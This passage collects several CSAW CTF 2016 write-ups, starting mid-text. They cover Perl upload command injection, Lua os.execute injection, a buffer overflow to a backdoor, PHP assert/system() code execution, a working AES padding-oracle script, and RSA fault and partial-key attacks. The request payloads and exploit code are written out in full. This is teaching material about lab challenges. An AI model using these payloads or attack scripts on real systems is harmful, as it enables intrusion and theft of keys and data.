Proxy,,,:/run/systemd:/bin/false_apt:x:104:65534::/nonexistent:/bin/false</body></html>```
Converting LFI to RCE:
```POST /cgi-bin/file.pl?cat%20/flag%20%23| HTTP/1.1Host: web.chal.csaw.io:8002Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Referer: http://web.chal.csaw.io:8002/cgi-bin/file.plCookie: __cfduid=d6ef413399798aba40580af74aa4ed9001474100452Connection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------1308552532609826431173673727Content-Length: 476
-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="file"Content-Type: text/plain
ARGV-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="file"; filename="test.txt"Content-Type: text/plain
abcd-----------------------------1308552532609826431173673727Content-Disposition: form-data; name="Submit!"
Submit!-----------------------------1308552532609826431173673727--```
```HTTP/1.1 200 OKServer: nginx/1.10.0 (Ubuntu)Date: Sat, 17 Sep 2016 10:05:32 GMTContent-Type: text/html; charset=ISO-8859-1Content-Length: 587Connection: closeVary: Accept-Encoding
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"> <head> <title>Perl File Upload</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> </head> <body> <h1>Perl File Upload</h1> <form method="post" enctype="multipart/form-data"> File: <input type="file" name="file" /> <input type="submit" name="Submit!" value="Submit!" /> </form> <hr />FLAG{p3rl_6_iz_EVEN_BETTER!!1}</body></html>```
References:
[The Perl Jam 2: The Camel Strikes Back 32c3](https://www.youtube.com/watch?v=eH_u3C2WwQ0)
[https://gist.github.com/kentfredric/8f6ed343f4a16a34b08a](https://gist.github.com/kentfredric/8f6ed343f4a16a34b08a) |
# Kill
There is a broken `pcap` file, which we need to fix. Looks like the file was obtained using tool `dumpcap` on Mac OS X:
```$ hexdump -C kill.pcapng | head00000000 aa dd dd aa 8c 00 00 00 4d 3c 2b 1a 01 00 00 00 |........M<+.....|00000010 ff ff ff ff ff ff ff ff 03 00 2f 00 4d 61 63 20 |........../.Mac |00000020 4f 53 20 58 20 31 30 2e 31 31 2e 36 2c 20 62 75 |OS X 10.11.6, bu|00000030 69 6c 64 20 31 35 47 31 30 30 34 20 28 44 61 72 |ild 15G1004 (Dar|00000040 77 69 6e 20 31 35 2e 36 2e 30 29 00 04 00 34 00 |win 15.6.0)...4.|00000050 44 75 6d 70 63 61 70 20 31 2e 31 32 2e 34 20 28 |Dumpcap 1.12.4 (|00000060 76 31 2e 31 32 2e 34 2d 30 2d 67 62 34 38 36 31 |v1.12.4-0-gb4861|00000070 64 61 20 66 72 6f 6d 20 6d 61 73 74 65 72 2d 31 |da from master-1|00000080 2e 31 32 29 00 00 00 00 8c 00 00 00 01 00 00 00 |.12)............|00000090 60 00 00 00 01 00 00 00 00 00 04 00 02 00 06 00 |`...............|```
If we sniff some of our traffic, we can check if the header matches, but instead of `aa dd dd aa` the file starts with `0a 0d 0d 0a`.
```$ dumpcapCapturing on 'eth0'File: /tmp/wireshark_eth0_20160914212455_WgZFXm.pcapngPackets captured: 4Packets received/dropped on interface 'eth0': 4/2 (pcap:1/dumpcap:0/flushed:1/ps_ifdrop:0) (66.7%)```
```$ hexdump -C /tmp/wireshark_eth0_20160914212440_jsZWs2.pcapng | head -100000000 0a 0d 0d 0a 7c 00 00 00 4d 3c 2b 1a 01 00 00 00 |....|...M<+.....|```
After we edit the first four bytes and open the file with Wireshark, we read the flag in one of the streams (3).
Easier solution is to read the flag directly on these addresses:
```006c7d0: ff e0 ba e0 4a 46 49 46 00 01 01 01 00 01 00 01 ....JFIF........006c7e0: 00 00 ff fe 00 3d 66 6c 61 67 7b 72 6f 73 65 73 .....=flag{roses006c7f0: 5f 72 5f 62 6c 75 65 5f 76 69 6f 6c 65 74 73 5f _r_blue_violets_006c800: 72 5f 72 33 64 5f 6d 61 79 62 33 5f 68 61 72 61 r_r3d_mayb3_hara006c810: 6d 62 61 65 5f 69 73 5f 6e 6f 74 5f 6b 69 6c 6c mbae_is_not_kill006c820: 7d ff ed 00 9c 50 68 6f 74 6f 73 68 6f 70 20 33 }....Photoshop 3``` |
# Aul
If we invoke the `help` command, we can notice that the interpreter is `lua`:
```$ nc pwn.chal.csaw.io 8001let's play a game| 0 0 0 0 0 0 0 0 || 0 1 0 0 0 0 4 0 || 0 3 2 2 4 1 4 4 || 0 3 2 3 2 3 4 3 || 4 b 2 2 4 4 3 4 || 3 2 4 4 1 1 2 2 || 3 3 c d 3 3 2 3 || 3 2 1 4 4 a 2 4 |helphelpLuaS�[ .. SNIP .. ]```
If the command is evaluated directly, this should work too:
```$ nc pwn.chal.csaw.io 8001let's play a game| 0 0 0 0 0 0 0 0 || 0 1 0 0 0 0 4 0 || 0 3 2 2 4 1 4 4 || 0 3 2 3 2 3 4 3 || 4 b 2 2 4 4 3 4 || 3 2 4 4 1 1 2 2 || 3 3 c d 3 3 2 3 || 3 2 1 4 4 a 2 4 |io.write("Hello world, from ",_VERSION,"!\n")io.write("Hello world, from ",_VERSION,"!\n")Hello world, from Lua 5.3!```
Now we can execute arbitrary command, we read the challenge code and the flag:
```lua$ nc pwn.chal.csaw.io 8001let's play a game| 0 0 0 0 0 0 0 0 || 0 1 0 0 0 0 4 0 || 0 3 2 2 4 1 4 4 || 0 3 2 3 2 3 4 3 || 4 b 2 2 4 4 3 4 || 3 2 4 4 1 1 2 2 || 3 3 c d 3 3 2 3 || 3 2 1 4 4 a 2 4 |os.execute("cat server.lua")os.execute("cat server.lua")-- http://www.playwithlua.com/?p=28
function make_board(size) local board = { size = size } setmetatable(board, { __tostring = board_tostring })
for n = 0, size * size - 1 do board[n] = 0 end
return boardend
function populate_board(board, filled, seed) local size = board.size if seed then math.randomseed(seed) end filled = filled or size * size * 3 / 4
local function rand() local c repeat c = math.random(size * size) - 1 until board[c] == 0 return c end
if filled > 0 then for _,v in ipairs{'a','b','c','d'} do board[rand()] = v end
for n = 1, filled-4 do board[rand()] = math.random(4) end
return fall(board) endend
function board_tostring(board) local lines = {} local size = board.size for y = 0, size - 1 do local line = "|" for x = 0, size - 1 do line = line .. " " .. board[x+y*size] end table.insert(lines, line .. " |") end return table.concat(lines,"\n")end
function fall(board) local size = board.size local new_board = make_board(size, 0)
local function fall_column(col) local dest = size - 1 for y = size-1, 0, -1 do if board[y*size + col] ~= 0 then new_board[dest*size + col] = board[y*size + col] dest = dest - 1 end end end
for x=0, size-1 do fall_column(x) end
return new_boardend
function rotate(board) local size = board.size local new_board = make_board(size, 0)
for y = 0, size-1 do local dest_col = size - 1 - y
for n = 0, size-1 do new_board[n*size + dest_col] = board[y*size + n] end end
return new_boardend
function crush(board) local size = board.size local new_board = make_board(size, 0) local crushers = {'a','b','c','d'}
for n=0, size-1 do new_board[n] = board[n] end
for n = size, size*size - 1 do if board[n-size] == crushers[board[n]] then new_board[n] = 0 else new_board[n] = board[n] end end
return new_boardend
function rotate_left(board) return rotate(rotate(rotate(board)))end
function readAll(file) local f = io.open(file, "rb") local content = f:read("*all") f:close() return contentend
function help() local l = string.sub(readAll("server.luac"), 2)
writeraw(l, string.len(l))end
quit = falsefunction exit() quit = trueend
function run_step(board) local cmd = readline()
if(string.len(cmd) == 0) then exit() return nil end
-- prevent injection attacks if(string.find(cmd, "function")) then return nil end
if(string.find(cmd, "print")) then return nil end
local f = load("return " .. cmd)()
if f == nil then return nil end
return f(board)end
function game() local board = populate_board(make_board(8))
repeat
writeline(board_tostring(board) .. "\n")
local b = run_step(board)
if quit then break end
if b ~= nil then board = b board = fall(crush(fall(board))) else writeline("Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.\n") end
until falseend
writeline("let's play a game\n")
game()```
```$ nc pwn.chal.csaw.io 8001let's play a game| 0 0 0 0 0 0 0 0 || 0 1 0 0 0 0 4 0 || 0 3 2 2 4 1 4 4 || 0 3 2 3 2 3 4 3 || 4 b 2 2 4 4 3 4 || 3 2 4 4 1 1 2 2 || 3 3 c d 3 3 2 3 || 3 2 1 4 4 a 2 4 |os.execute("ls")os.execute("ls")flag run.sh scripty server.lua server.luac```
```$ nc pwn.chal.csaw.io 8001let's play a game| 0 0 0 0 0 0 0 0 || 0 1 0 0 0 0 4 0 || 0 3 2 2 4 1 4 4 || 0 3 2 3 2 3 4 3 || 4 b 2 2 4 4 3 4 || 3 2 4 4 1 1 2 2 || 3 3 c d 3 3 2 3 || 3 2 1 4 4 a 2 4 |os.execute("cat flag")os.execute("cat flag")flag{we_need_a_real_flag_for_this_chal}``` |
# Warmup
There is a backdoor in the binary and the address is even printed after it starts:```$ objdump -M intel -d warmup | grep "<easy>" -A 6000000000040060d <easy>: 40060d: 55 push rbp 40060e: 48 89 e5 mov rbp,rsp 400611: bf 34 07 40 00 mov edi,0x400734 400616: e8 b5 fe ff ff call 4004d0 <system@plt> 40061b: 5d pop rbp 40061c: c3 ret```
Trivial buffer overflow:```$ gdb -q ./warmupReading symbols from ./warmup...(no debugging symbols found)...done.```
```gdb-peda$ checksecCANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partial```
```gdb-peda$ pattern create 100'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'```
```gdb-peda$ rStarting program: /root/warmup-Warm Up-WOW:0x40060d>AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
0x40069e <main+129>: call 0x400500 <gets@plt> 0x4006a3 <main+134>: leave=> 0x4006a4 <main+135>: ret
Stopped reason: SIGSEGV0x00000000004006a4 in main ()```
```gdb-peda$ x /gx $rsp0x7fffffffe878: 0x4134414165414149```
```gdb-peda$ pattern offset 0x41344141654141494698452060381725001 found at offset: 72```
```$ python -c 'from struct import pack as p; print "A" * 72 + p("Q", 0x40060d)' | nc pwn.chal.csaw.io 8000-Warm Up-WOW:0x40060d>FLAG{LET_US_BEGIN_CSAW_2016}``` |
# Aul
There was no binary given with this challenge.I tried to connect to the service and after playing for some seconds I foundout that with the `help` command a lot of "garbage" was sent out by the server.I used a simple python script to extract the binary data and put it in a file.
Looking quickly at it, it looks like the code of the server itself, but `file`is not able to say anything, although `hexdump` was more helpful.```00000000 4c 75 61 53 00 19 93 0d 0d 0a 1a 0d 0a 04 08 04 |LuaS............|00000010 08 08 78 56 00 00 00 00 00 00 00 00 00 00 00 28 |..xV...........(|00000020 77 40 01 00 00 00 00 00 00 00 00 00 00 02 02 1f |w@..............|00000030 00 00 00 2c 00 00 00 08 00 00 80 2c 40 00 00 08 |...,.......,@...|00000040 00 80 80 2c 80 00 00 08 00 00 81 2c c0 00 00 08 |...,.......,....|00000050 00 80 81 2c 00 01 00 08 00 00 82 2c 40 01 00 08 |...,.......,@...|00000060 00 80 82 2c 80 01 00 08 00 00 83 2c c0 01 00 08 |...,.......,....|00000070 00 80 83 2c 00 02 00 08 00 00 84 08 80 c2 84 2c |...,...........,|00000080 40 02 00 08 00 80 85 2c 80 02 00 08 00 00 86 2c |@......,.......,|00000090 c0 02 00 08 00 80 86 06 80 43 00 41 c0 03 00 24 |.........C.A...$|000000a0 40 00 01 06 40 43 00 24 40 80 00 26 00 80 00 10 |@...@C.$@..&....|000000b0 00 00 00 04 0b 6d 61 6b 65 5f 62 6f 61 72 64 04 |.....make_board.|000000c0 0f 70 6f 70 75 6c 61 74 65 5f 62 6f 61 72 64 04 |.populate_board.|000000d0 0f 62 6f 61 72 64 5f 74 6f 73 74 72 69 6e 67 04 |.board_tostring.|```
I tried to compile a lua program myself to check if the first bytes weresimilar and they were, except for an initial byte `\x1b` and a different letterafter the `Lua` signature (that changes with every version of Lua).
I added the first byte and looked on the Internet for a Lua decompiler, finding`unluac` (https://sourceforge.net/projects/unluac/). It didn't work out of thebox though, complaining that the signature wasn't a valid Lua one.
Indeed, after carefully comparing the dump of a program I compiled myself andthe one downloaded from the server, I found out that each `\x0a` was prefixedby a `\x0d`. Done also this step, I was able to decompile Lua with `unluac` andget the source code.
In particular, this is the output of the `run_step` function:```luafunction run_step(A0_41) local L1_42, L2_43 L1_42 = readline L1_42 = L1_42() L2_43 = string L2_43 = L2_43.len L2_43 = L2_43(L1_42) if L2_43 == 0 then L2_43 = exit L2_43() L2_43 = nil return L2_43 end L2_43 = string L2_43 = L2_43.find L2_43 = L2_43(L1_42, "function") if L2_43 then L2_43 = nil return L2_43 end L2_43 = string L2_43 = L2_43.find L2_43 = L2_43(L1_42, "print") if L2_43 then L2_43 = nil return L2_43 end L2_43 = load L2_43 = L2_43("return " .. L1_42) L2_43 = L2_43() if L2_43 == nil then return nil end return L2_43(A0_41)end```
The input command is used to find a function with that name, with `returnfunction_name`, that is immediately called. I thought that I could use it toexecute a "system" function and get a shell and it worked :) (except thefunction is called `os.execute` and not `system`). |
# mfw (Web, 125pts)
## Problem
Hey, I made my first website today. It's pretty cool and web7.9.http://web.chal.csaw.io:8000/
## Solution
We get simple website, build with PHP, Bootstrap and with Git. Url looks vulnerable for Local File Include and Directory Traversal, but couple of standards payloads returned only "Detected hacking attempt!" or "That file doesn't exist!" messages.

### Digging into .git folder
Abandoned, readable .git folder is a gold mine. Access to one in this challenge wasn't restricted in any way, I could easily navigate through all folders and files using web browser:

But I wanted source code to find out the way to exploit LFI or Directory Traversal, so with little help of my own tool, **diggit** (https://github.com/bl4de/security-tools/tree/master/diggit) I downloaded sources:
```$ ./diggit.py -u http://web.chal.csaw.io:8000/ -t /Users/bl4de/hacking/ctf/2016/CSAW_CTF_2016/mfw -r true -o 7a0a66bbc50a8fdb83909b79c328bff4596f71ed```

I checked the file ```flag.php``` (I found commented link to it earlier, when I was checking HTML source of website), but it does not contain anything interesting, except comment ```//TODO``` - and that was crucial information to find the solution of this challenge, but more on this later:
```php
```
### Source code static analysis
Next, I've started to poke around ```index.php``` and validation logic, trying to find the way to exploit it with some well crafted payload:
```php
/* HTML code here, nothing special, no logic...*/
<div class="container" style="margin-top: 50px"> </div> ```
Unfortunately, I wasn't able to find any payload working in both assertions. Even if I could break first assertion and successfully insert Directory Traversal payload (like ```\.\./``` or ```.?/```), I got stuck with second assertion.
When I stopped for a second to think about the right solution, I've started to think about one particular line:
```php$file = "templates/" . $page . ".php";```
```$page``` was used here directly from GET parameter, without any validation. String concatenation allows here to do anything, BEFORE any of following ```assert()``` calls.
I needed something powerful and something what returns its output without any additional functions like ```print()``` or ```echo``` (which is, in fact, not a function).
And ```system()``` was exactly what I was looking for (http://php.net/manual/en/function.system.php):
```(PHP 4, PHP 5, PHP 7)system — Execute an external program and display the output
```So it was even better that LFI I was trying to find. I found much more powerful Remote Code Execution (RCE) and from now on I could do anything I wanted to.
### Exploiting Remote Code Execution with system()
My payloads were pretty simple. To execute ```ls -lA``` command in the root directory I've used this one:
```http://web.chal.csaw.io:8000/?page='.system("cd ../../../; ls -lA;").'about```
This causes server to create such line of code:
```php$file = "templates/" . '.system("cd ../../../; ls -lA;").' . ".php";```
As a result, I got this:
```.dockerenvbinbootdevetchomeliblib64mediamntoptprocrootrunsbinsrvsystmpusrvarThat file doesn't exist!```
**EDIT** Output from Command Execution actually comes from one or both lines with ```assert()``` calls (it depends on usage of "../" in payload and which assertion failed first), not from the first line with ```$page``` parameter as I thought. Thanks to Dinesh Kota for pointing this!
--#### HINT
If you are able to display such output, use option 'View source' in your browser. This allows one to display text output with all white characters (tab, new line and so on) handled in the correct way.
Here's an output from previous payload directly in the browser tab (interpreted as regular HTML, which is very hard to read, not what we want to see):

And here's how it looks like when 'View source' option is used instead:

--
At this moment I thought I just needed to find ```flag.txt``` or similar file and just took 125 points home. I was wrong :)
I couldn't find anything what looks like legitimate file with flag. I was trying various ```find``` and ```grep``` combinations with plenty of false positive results - but there were no flag at all.
Then, I realized that comment I found earlier, in file called ```flag.php```: TODO.Flag. **TODO**.There was no flag **yet**!
### Playing with Git, again
I get back to Git. As I was able to execute any command, I went straight into website folder and checked status of the repository (this is what I put in address bar in Chromium):
```view-source:http://web.chal.csaw.io:8000/?page='.system("cd /var/www/html/;git status;").'about```
Bingo!

```flag.php``` was modified, but no changes were added to commit and commited, so file I've downloaded earlier didn't contain newest changes.
The last one command put in browser's address bar finished the challenge:
```view-source:http://web.chal.csaw.io:8000/?page='.system("cd /var/www/html/;git diff;").'about```
And here we are:

The flag:
```php
```

--
I had a lot of fun with this challenge, even if it was relatively simple. It contains a lot of obvious vulnerabilities like (potential) LFI with Directory Traversal and (fully exploitable) RCE, but in the end the solution turned into Git and some Git commands knowledge.
Thanks to CSAW Team for great CTF this year!
|
# Sleeping guard (50 p)```Only true hackers can see the image in this magic PNG....
nc crypto.chal.csaw.io 8000
Author: Sophia D'Antoine```
Connecting to the server, we get a BASE64 stream of data. Decrypting it, we see that it is not a valid PNG. Let us try simple XOR. We take a known plaintext from another PNG and try to XOR with the cipertext in hope to get the key.
```python# extracted from reference imageheader = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x07, 0x9C, 0x00, 0x00, 0x05, 0x7A, 0x08, 0x06, 0x00, 0x00, 0x00, 0x31, 0xA6, 0x00, 0xF6, 0x00, 0x00, 0x00]
f = open('magic.png', 'r')i = 0j = 8out = ''data = f.read()for char in data: out += chr(ord(char) ^ header[i % len(header)]) i += 1key = out[0:12]print 'Found key: {0}'.format(key)output = ''```
This gives us `WoAh_A_Key!?`. Re-using the code,
```pythonf = open('magic.png', 'r')i = 0data = f.read()for char in data: output += chr(ord(char) ^ ord(key[i % len(key)])) i += 1
f = open('decrypted.png', 'w')f.write(output)```
Running it, we decode the image as follows:

# Broken box (300 p)
```I made a RSA signature box, but the hardware is too old thatsometimes it returns me different answers... can you fix it for me?
e = 0x10001
nc crypto.chal.csaw.io 8002```The obvious guess of error source is a simple RSA-CRT fault. This means that there is an error in the CRT when computing the signature, which means gcd(sᵉ - m, N) > 1 allowing us to factor N. The following function tests if there are such anomalies:
```python
def test_crt_faults(): print '[+] Testing faults in CRT...'
for sig in faulty: ggcd = gcd(ver(sig) - msg, N) if ggcd > 1: print "[!] Found factor {0}".format(ggcd) break for fsig in faulty: if fsig != sig: # try to detect constant errors ggcd = gcd(N + ver(sig) - ver(fsig), N) ggcd = ggcd * gcd(ver(sig - fsig), N) if ggcd > 1: print "[!] Found factor {0}".format(ggcd) break if ggcd == 1: print '[-] No factors found...' ```
Turns out, there are no such faults present. Hmm... so what is a possible source of error? The modulus N or the exponent d. The modulus N is a bit cumbersome to handle, so lets try with the secret exponent!
First, we sample a lot of signatures from the service. Then, we split the set into a correct signature and several faulty ones.
```python
valid, faulty = [], []msg = 2f = open('sigs2.txt', 'r')
for line in f: sig = int(line) if ver(sig) == 2: valid.append(sig) else: faulty.append(sig)```
Assume that we have a proper signature s and a faulty signature f, then we may compute s × f⁻¹ = mᵈ × (mᵈ⁻ʲ)⁻¹ = mʲ. If it is a single-bit error, then j = ±2ⁱ. First we build a look-up table with all
```python look_up = {pow(msg, pow(2,i), N) : i for i in range(0,1024)}```
This is merely a way to quickly determine i from ±2ⁱ mod N. Then, for each faulty signature, we compute s × q⁻¹ and s⁻¹ × f and see if there is a match in the table. Since a bit flip is a simple xor, we need to take into account both the change 1 → 0 and 0 → 1. So, if s⁻¹ × f is in the table, then it means the contribution from the bit flip is positive. Therefore, d must be 0 in this position. Equivalently, if s × f⁻¹ is in the table, d must be 1 in that position. It remains to look at sufficiently many random signatures to fill the gaps in information of d.
A high-level description of the algorithm is as follows:
```psuedoalgorithm brokenbox(m): output: secret exponent d
precomputation: compute Q[mⁱ] = i for i ∈ {0,1...,1024}
online computation: 1. query oracle for signature of m 2. check if sᵉ = m (mod N) 3. if true, save it as reference value s. else, save in list L 4. repeat 1-3 until sufficiently many signatures have been obtained 5. for f ∈ L: compute s × f⁻¹ (mod N) and s⁻¹ × f (mod N) if s × f⁻¹ ∈ Q, set bit Q[s × f⁻¹] in d to 0 if s⁻¹ × f ∈ Q, set bit Q[s⁻¹ × f] in d to 1```
We achieve the recovery as follows:
```pythondef test_exponent_faults(): print '[+] Generating lookup...' number = ['?'] * 1024 look_up = {pow(msg, pow(2,i), N) : i for i in range(0,1024)} valid_inv = libnum.modular.invmod(valid[0], N) print '[+] Looking for matches and recovering secret exponent...' for sig in faulty: st = (sig * valid_inv) % N if st in look_up: number[look_up[st]] = '0' st = (libnum.modular.invmod(sig, N) * valid[0]) % N if st in look_up: number[look_up[st]] = '1' unknown = number.count('?') if unknown == 0: d = int(''.join(number[::-1]), 2) print 'Secret exponent is: {0}'.format(d) print 'Check:', valid[0] == pow(msg, d, N) return d else: print '[+] Recovered bits' print ''.join(number) print 'Remaining unknown: {0} / {1}'.format(unknown, len(number))```
For instance, after a few hundred faulty signatures, we have filled in the bit pattern:
```c???1???1??????0????0???0?0?11?1??1???1?1??1???????0010??1??10???????1001?1???????1?1?00?????????1?????0??0??1??0??0??100?0?0?01??10?01????????10??0???1??????1??0???0???0???0?0?0000?110?????1????0001?011?0??0??1?????????????1??????1??10???????0?1?10??????????0???0??0??0?????????1???1?1?1??????10?0110?????????0???1???1????0?0?0???????1??????????1????????11?????1??1??0?????00????????1??0?1???10???????11??01000??0???1????1?0???00?1??1?10??0????0???1???1?1??0????????1????1?1??0????1????1????0??01??11??0????0???????0?10????0????0???0????????1?????????11??0???0?????1????0????01????1???????100???????111?00?0??00????1?10??????????1?0????1???????0??1?0?11???11?????????????1??0???01????????1???0?1??????0001??????1???010???????100?1??????10?????0?01??1???0??????????1??1??0???0??????00??1??11??01?0?01?0?1????00????0???0?0?1????0?0??1?0??1????10???????1???00????10??0????0?1??????1?1?0?1?????1?1?01???10??1??????0????10???1?????0?10??????????1???110???1?01??0?????1????11??0?????11??0????1??1?0???11?0??0????1?????0??1?????10?```
Running a few more, we get
```[+] Found 1520 valid and 1510 faulty signatures![+] Generating lookup...[+] Looking for matches and recovering secret exponent...Secret exponent is: 1318114196677043534196699342738014984976469352105320281204477993086640079603572783402617238085 7263754840755090840323934490399778829656443966765971611093482241285542158667380890419360648113767904413268811547213257515039998690149350105787817443487153162937855786664238603417924072736209641094219963164897214757Check: Trueflag{br0k3n_h4rdw4r3_l34d5_70_b17_fl1pp1n6}```
# Still broken box (400 p)
```I fixed the RSA signature box I made, even though it still returns wrong answers sometimes, it get much better now.
e = 97
nc crypto.chal.csaw.io 8003```
Re-using the same code we wrote before, we get
```[+] Found 596 valid and 600 faulty signatures![+] Generating lookup...[+] Looking for matches and recovering secret exponent...[+] Recovered bits????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????000001100001101000010001101110010111100000001011001011000101010111100100111011111011101010111010110010111111001001100111001010000111110100010011001100001001110000001011101100000100111110100011000000101100011110110010110100010111000110011101000111010011011100111001101110001110110011111010111011101101
Remaining unknown: 724 / 1024```
Pretty much the same as above, but the error does only occur in the lower region of d. Also, about 1/4 of the bits. This is a case for a partial key exposure attack :-) We omitt the gritty details here, but it is pretty easy to understand when you realize that some mathematical relations hold when known only a subset of the bits of d. A short explanation:
Define s = p + q. We know that e × d (mod φ(N)) = 1. So, for some k ≤ e, we have
e × d - k × φ(N) = e × d - k × (N - s + 1) = 1.
Now, we can try all 0 ≤ k ≤ e and then solve the equation for s. Then, we can easily compute φ(N) = N - s + 1. It also holds for the partially know d, which we denote d' = d (mod 2³⁰⁰). Hence, it also holds that
e × d' - k × (N - s + 1) = 1 (mod 2³⁰⁰).
The, we solve a quadratic equation (this is the equation you would solve to factor N given φ(N)) for p
p² - s × p + N = 0 (mod 2³⁰⁰).
Note that we have to repeat this procedure for every choice of k.
Finally, we use a Theorem due to Coppersmith which states that we can factor N in time O(poly(log(N))). For more info, see my other writeups e.g. [this one](https://grocid.net/2016/03/14/0ctf-equation/). We can implement the above in Sage as follows:
```pythond = 48553333005218622988737502487331247543207235050962932759743329631099614121360173210513133known_bits = 300X = var('X')d0 = d % (2 ** known_bits)P.<x> = PolynomialRing(Zmod(N))
print '[ ] Thinking...'for k in xrange(1, e+1): results = solve_mod([e * d0 * X - k * X * (N - X + 1) + k * N == X], 2 ** 300)
for m in results: f = x * 2 ** known_bits + ZZ(m[0]) f = f.monic() roots = f.small_roots(X = 2 ** (N.nbits() / 2 - known_bits), beta=0.3)
if roots: x0 = roots[0] p = gcd(2 ** known_bits * x0 + ZZ(m[0]), N) print '[+] Found factorization!' print 'p =', ZZ(p) print 'q =', N / ZZ(p) break```
If we run it, we get
```[ ] Thinking...[+] Found factorization!p = 11508259255609528178782985672384489181881780969423759372962395789423779211087080016838545204916636221839732993706338791571211260830264085606598128514985547 q = 10734991637891904881084049063230500677461594645206400955916129307892684665074341324245311828467206439443570911177697615473846955787537749526647352553710047```
We can compute d = e⁻¹ mod φ(N). Using the found d to decrypt, we determine the flag
```flag{n3v3r_l34k_4ny_51n6l3_b17_0f_pr1v473_k3y}```
# Neo (200 p)
```Your life has been boring, seemingly meaningless up until now. A man in a black suit with fresh shades is standing in front of you telling you thatyou are The One. Do you chose to go down this hole? Or just sit around pwning n00bs for the rest of your life?
http://crypto.chal.csaw.io:8001/```
We get to a page with an input, already containing some BASE64-encoded data. Substituting it with some gibberish (as can be seen below), yields and interesting error...

So, it is AES! Alright then... there is an encrypted id or token. It seems random, but that may just be the IV. Also, the image about suggests that the Matrix is vulnerable to a padding-oracle attack. In brief words, this is an attack which exploits the property of AES-CBC that Pᵢ = Dec(Cᵢ, k) ⊕ Cᵢ₋₁. Since the function Dec is bijective, we have that for an altered ciphertext C'ᵢ₋₁ there exists a valid plaintext P'ᵢ₋₁ = Dec(Cᵢ₋₁, k) (although it is probably just gibberish, it will not cause an error!). So, by flipping bits Cᵢ₋₁, we can cause Pᵢ to have a non-proper padding which will cause an error that we may be notified about (this is the case here!). By setting modifying Cᵢ₋₁ so that
C'ᵢ₋₁ = Cᵢ₋₁ ⊕ 0x0...1 ⊕ 0x0...0[guessed byte]
we can determine the value in the corresponding position of Pᵢ.
First, we define an oracle as follows:
```pythondef oracle(payload): global responses r = requests.post('http://crypto.chal.csaw.io:8001', data = {'matrix-id' : base64.b64encode(binascii.unhexlify(payload))}) if 'Caught exception during AES decryption...' in r.text: responses[payload] = False else: responses[payload] = True```
So, if there is padding error, it will return `False` and otherwise `True`. In the [id0-rsa](http://id0-rsa.pub) challenge, I wrote a multi-threaded padding-oracle code in Python (which finishes the attack in no time at all :-D). We will re-use this code here!
If we set the parameters
```pythonimport requests, base64, binasciiimport thread, time, string, urllib2, copy
threads = 20alphabet = ''.join([chr(i) for i in range(16)]) + string.printablealphabet_blocks = [alphabet[i : i + threads] for i in range(0, len(alphabet), threads)]data = 'vwqB+7cWkxMC6fY55NZW6y/LcdkUJqakXtMZIpS1YqbkfRYYOh0DKTr9Mp2QwNLZkBjyuLbNLghhSVNkHcng+Vpmp5WT5OAnhUlEr+LyBAU='ciphertext = binascii.hexlify(base64.b64decode(data))[:] # adjust to get other blocksoffset = len(ciphertext)/2-16```
and then, the very heart of the padding-oracle code:
```pythondef flip_cipher(ciphertext, known, i): modified_ciphertext = copy.copy(ciphertext) for j in range(1, i): modified_ciphertext[offset-j] = ciphertext[offset-j] ^ ord(known[-j]) ^ i return modified_ciphertext ciphertext = [int(ciphertext[i:i+2], 16) for i in range(0, len(ciphertext), 2)]count, known = 1, ''
while True: print 'Found so far:', [known] for block in alphabet_blocks: responses, payloads = {}, {} modified_ciphertext = flip_cipher(ciphertext, known, count) for char in block: modified_ciphertext[offset-count] = ciphertext[offset-count] ^ ord(char) ^ count payloads[''.join([hex(symbol)[2:].zfill(2) for symbol in modified_ciphertext])] = char for payload in payloads.keys(): thread.start_new_thread(oracle, (payload,)) while len(responses.keys()) != len(payloads): time.sleep(0.1) if True in responses.values(): known = payloads[responses.keys()[responses.values().index(True)]] + known alphabet_blocks.remove(block) alphabet_blocks.insert(0, block) count = count + 1 break```
and execute it for different from-right truncated ciphertexts, we obtain
```Found so far: ['flag{what_if_i_t']Found so far: ['old_you_you_solv']Found so far: ['ed_the_challenge']Found so far: ['}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f']```
So, by removing the padding, we get the flag
```flag{what_if_i_told_you_you_solved_the_challenge}```Great!# wtf.sh (150 p)
```WTF.SH(1) Quals WTF.SH(1)
NAME wtf.sh - A webserver written in bash
SYNOPSIS wtf.sh port
DESCRIPTION wtf.sh is a webserver written in bash. Do I need to say more?
FLAG You can get the flag to this first part of the problem by getting the website to run the get_flag1 command. I heard the admin likes to launch it when he visits his own profile.
ACCESS You can find wtf.sh at http://web.chal.csaw.io:8001/
AUTHOR Written by _Hyper_ http://github.com/Hyper- sonic/
SUPERHERO ORIGIN STORY I have deep-rooted problems That involve childhood trauma of too many shells It was ksh, zsh, bash, dash They just never stopped On that day I swore I would have vengeance I became The Bashman
REPORTING BUGS Report your favorite bugs in wtf.sh at http://ctf.csaw.io
SEE ALSO wtf.sh(2)
CSAW 2016 September 2016 WTF.SH(1)```
Seemingly, we can enumerate users on the service.
